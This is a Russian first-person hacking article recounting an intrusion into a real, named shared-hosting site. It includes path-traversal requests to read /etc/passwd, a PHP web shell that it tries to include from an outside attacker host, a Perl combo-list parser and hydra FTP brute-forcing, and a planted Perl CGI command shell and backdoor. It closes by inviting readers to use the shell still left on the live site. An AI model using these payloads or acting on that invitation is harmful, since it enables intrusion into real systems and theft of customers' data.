В сети полно виртуальных хостингов. Особенно за рубежом. Как-то раз поздним вечером мне захотелось поживиться ресурсами какого-нибудь буржуйского хостера. Из-за собственной лени меня очень ломало атаковать через сервисы, путем муторного сканирования хостинговых сетей, поэтому я зарулил прямиком на Гугл и наколбасил смертельный запрос «filetype:php site:com». В ответ поисковик выбросил множество ссылок. Началась муторная работа по отделению мух от котлет — я резво отбраковывал ссылки на php-скрипты без аргументов, и тестировал на прочность сценарии с параметрами типа id=blahblah.php и id=blahblah.html. Внезапно передо мной предстал проектик, хостящийся на www.dreamscape.com (я уже давно знал, что это хостинг). Возможно, из-за этого я решил остановиться на этом сайте подробнее.

1. Внедрение в систему

Итак, запрос, который мне выплюнул Гугл, выглядел следующим образом: http://www.druginfonet.com/index.php?pageID=manufacturers.htm. По-видимому, скрипт подключал контент статической html’ки. У меня закралась нездоровая мысля о том, что вебмастер — настоящий ламер, а его проект упадет после удачной cross-side-атаки. Я создал файл bash.php на моем хостинге, в котором был следующий код:

echo «

«;
system($_GET[‘cmd’]);
echo «
«;
?>

Несложно догадаться, что эта конструкция работает даже если в php.ini выключена опция register_globals. Я залил этот файл, выложил на web и обратился к проекту со следующим запросом:

http://www.druginfonet.com/index.php?pageID= http://hacker.host.net/evil/bash.php&cmd=id,

но в ответ получил фигу. Пока не зная почему скрипт оказался стойким к кросс-сайду, я решил изменить инклудный manufacturers.htm на произвольный файл, например, на ../../../../../../../../../../etc/passwd. Фишка проканала, скрипт честно вывел /etc/passwd. На хостинге было столько аккаунтов, что я не смог долистать passwd до конца. Сохранив содержимое файла на винт, я решил посмотреть, почему, собственно, скрипт не открывает удаленные файлы. Для этого мне нужно было узнать путь к сценарию index.php. Для этого я умышленно подставил в поток несуществующий файл, запрос получился таким:

http://www.druginfonet.com/index.php? pageID=nosuchfile.htm.

Но итог оказался плачевным: скрипт выругался на отсутствие файла и не показал мне путь к самому себе. Тогда я решил, что он сломается, если я укажу ему путь к файлу, который он ну никак не сможет прочитать. Мне пришлось составить следующую ссылку:

http://www.druginfonet.com/index.php? pageID=../../../../../../../../../../etc/shadow.

Ура! Получилось! Сценарий остановился и сказал мне один умный вещь:

Warning: fopen(«../../../../../../../../../../etc/shadow», «r») — Permission denied in /export/ext2/www/druginfonet/index.php on line 187.

Думаю, не стоит говорить, как я вывел содержимое index.php. Все и так понятно. После изучения сорцов я понял, что сценарий сначала проверяет наличие открываемого файла (эта проверка и подстраховало скрипт от CS-атаки), а лишь затем открывает его. Затем сценарий узнает размер документа и показывает его содержимое. В общем, вот тебе найденный код:

if (file_exists($filename)) {
$fp = fopen($filename, «r»);
$contents = fread($fp, filesize($filename));
echo $contents;
fclose($fp);
} else {
echo «There was an error finding $filename. Please contact the Webmaster.»;
}
?>

Видишь загадочный else? Он мешал мне узнать путь к скрипту при подстановке несуществующего пути. Тут я задумался… Ведь fopen() умеет открывать и директории, а file_exists() подтвердит, что дира существует. Я попробовал составить запрос вида http://www.druginfonet.com/index.php?pageID=/etc, и скрипт успешно выплюнул содержимое каталога =). Правда, разделителями между файлами были кривые квадратики и нечитабельные символы, но даже с этим глюком я мог исследовать площадку дальше.

2. Изучение

Просканировав порты, я понял, что напрямую на сервер мне не попасть. Всякие там телнеты и ssh были жестко зафильтрованы, наружу глядел лишь 21 порт. «Уже что-то!», подумал я. Нужно было добыть валидный ftp-аккаунт и радоваться жизни. Но, к несчастью, практически у всех юзеров вместо хорошего шелла запускался /dev/null (или в лучшем случае /bin/ftponly). На часах в правом нижнем углу виднелись цифры «3:40», мне жутко хотелось спать. Радовало то, что завтра можно было спать до полудня. Возможно именно это остановило меня от выключения компьютера =).

Итак, что же было дальше? А дальше развивалась весьма интересная ситуация. Мне было в лом искать файлы на сервере с помощью полудырявого скрипта, я просто решил написать небольшой парсер, который выдирает все аккаунты, затем отправить комбо-лист на мой доверенный шелл и там же запустить брутфорс hydra. Брут я хотел провести по паре login:login, благо вероятность совпадения была большая (размер passwd составлял почти 700кб). Ничего не соображая, я таки написал рабочий анализатор /etc/passwd, который выглядел следующим образом:

#!/usr/bin/perl
open(IN,»passwd»);
open(OUT,»>pwds.good»);
while() {
chomp;
if ($_ ne ») {
($u,@undef)=split ‘:’;
print OUT «$_\n»;
}
}
close(IN);
close(OUT);

После запуска в f:\soft\hack лежал готовый комбо-лист. Спешно залив его на сервер, я запустил hydra со следующими параметрами:

./hydra -C pwds.good -t 100 -e n www.druginfonet.com ftp.

В данном случае, опция -C означала наличие комбо-листа, «-e s» проверял аккаунты с пустыми паролями (на всякий случай), а «-t 100» запускал брутфорс в стопоточном режиме. Если ты думаешь, что через 10 минут я получил список валидных паролей, то глубоко ошибаешься. У брутфорсера слетела крыша, когда он получил мессаг от FTP, что учетная запись с шеллом /dev/null не имеет право на пользование ftp. Обмен выглядел следующим образом:

[root@ns hydra-4.3-src]# telnet druginfonet.com ftp
Trying 209.217.209.106…
Connected to druginfonet.com.
Escape character is ‘^]’.
220 chrome.dreamscape.com FTP server (Version NewVirtual wu-2.4.2-academ[BETA-13](1) Tue Aug 5 12:37:01 EDT 1997) ready.
user gerry16
530 User gerry16 access denied…(bad shell)
quit
221 Goodbye.
Connection closed by foreign host.
[root@ns hydra-4.3-src]#

Гидра сразу же сказала, что не распознает
такой протокол как FTP и начала крутить комбо-список по кругу. Мне пришлось потрудиться, чтобы замочить бешеный брутфорс :). Теперь, наученный горьким опытом, я пропатчил мой парсер следующим циклом:

if ($undef[(scalar $undef)-1] ne ‘/dev/null’) {
print OUT «$_\n»;
}

После скормления листа брутфорсу он объявил, что ни один аккаунт не совпал. Я полностью отчаялся: пришлось исследовать содержимое сервера на наличие дырявых файлов.

Быстро прошвырнувшись по домашним каталогам, я не нашел там ничего интересного. Вначале меня привлекли всякие там .bash_history (некоторые из них даже были читабельными). Но из чтения истории команд я лишь узнал, где находятся .htpasswd-файлы. К сожалению, Джоник не смог быстро расшифровать хэши по словарикам. Также я нашел несколько файлов типа passwd.txt, где был забит чей-то пароль. Как оказалось, пассворд принадлежал либо юзеру с шеллом /dev/null, либо неизвестно кому =).

3. Видимые успехи

Время подходило к пяти утра. Спать не хотелось, но и ломать хостинг уже надоело :). Уж слишком замороченным оказался этот сервер. Поизучав каталог WWW, я не нашел там ни одного .htpasswd-файла (может плохо искал), и по какой-то причине заглянул в passwd, где были отобраны лишь валидные аккаунты. И что ты думаешь? Через минуту я уже знал, какой пароль наверняка подойдет к FTP. Мой взор упал на учетную запись jymftp, в комментариях которой было четко и ясно сказано, что это тестовый логин. В качестве домашнего каталога выступала дира /ftpshare/jymtest. Последний каталог и был паролем для этой учетки! Я это понял сразу, у меня давно выработался профессиональный нюх на такие вещи :). После успешной авторизации, wu-ftpd объявил, что как такового домашнего каталога вообще не существует и установил домашней папкой корень сервера. Наконец-то я мог добиться хоть какого-то командного исполнения. Я перешел в /tmp и закинул туда bash.php (содержимое скрипта изучай выше). Затем обратился с запросом
http://www.druginfonet.com/index.php? pageID=/tmp/bash.php&cmd=id и грязно выругался! Скрипт не хотел подключать шелл! «Да что же это за мерзость?», крикнул я. Пришлось перейти в каталог /export/ext1/www и искать там исполняемый каталог какого-нибудь клиента. Каталог нашелся быстро, это был проект www.usawood.com. Я залил в корень bash.php и снова обратился к нему, теперь напрямую. Результат был отрицательным. Причины сей аномалии до сих пор неизвестны. Однако у меня был и план «Бэ» — вебмастер этого сайта почему-то поставил режим 777 на cgi-bin. Я зашел в каталог и залил туда уже cgi-шелл, надеясь, что удача меня не покинет. Скрипт был таким:

#!/usr/bin/perl
print «Content-type: text/html\n\n»;
$cmd=$ENV{QUERY_STRING};
$cmd=~s/%20/ /g;
$c=`$cmd`;
print «$c»;

Затем я выполнил «site chmod 755 cmd.cgi» и обратился к нему. В ответ получил ошибку 500 :). Поняв чем она вызвана (скрипт был залит в BINARY-режиме из-за глючности консольного /usr/bin/ftp), я быстро исправил баг. Теперь скрипт показывал пустую страницу. Уже что-то :). Рассмотрев собственный код, я стал причислять себя к ламеру, который вообще не знает Perl. Но код казался рабочим и подозрения не вызывал. Тогда, ради проверки, я окаймил переменную QUERY_STRING апострофами и был вознагражден рабочим cmd-шеллом! Наконец-то мне повезло :).

4. Подведение итогов

Баловался интерпретатором я недолго. Попробовал залесть на mysql — неуспешно. Затем залил бэкдор, открыл шелл и поюзал несколько известных эксплойтов для шестой солярки (такой вот убогий там SunOS), но, к сожалению, ни один не сработал. Тогда, отчаявшись, я скачал эксплойт для старого wu-ftpd и попытался удаленно порутать систему. Кроме грязных каталогов, которые я
впоследствии так и не смог удалить, я не получил ничего :(. Немного полазав по Web-каталогам, я плюнул на все и ушел спать, так и не доведя работу до конца…

К чему я все это? Дело в том, что баги в хостинге до сих пор актуальны, я даже не стал удалять cmd.cgi — даю тебе возможность порулить проектом и закончить мою работу. Вполне возможно, что в БД находятся таблицы с рабочими кредитками и другие не менее занятные вещи. О результатах сообщай мне на мыло, как-никак я начал копаться в этой зарубежной грязи :). 

Удачи, чувак!

Оставить мнение

Check Also

Предсказание случайности. Изучаем ASLR в Linux и GNU libc, обходим защиту адресного пространства и stack canary

За время существования в ядре Linux появилось множество различных механизмов защиты от экс…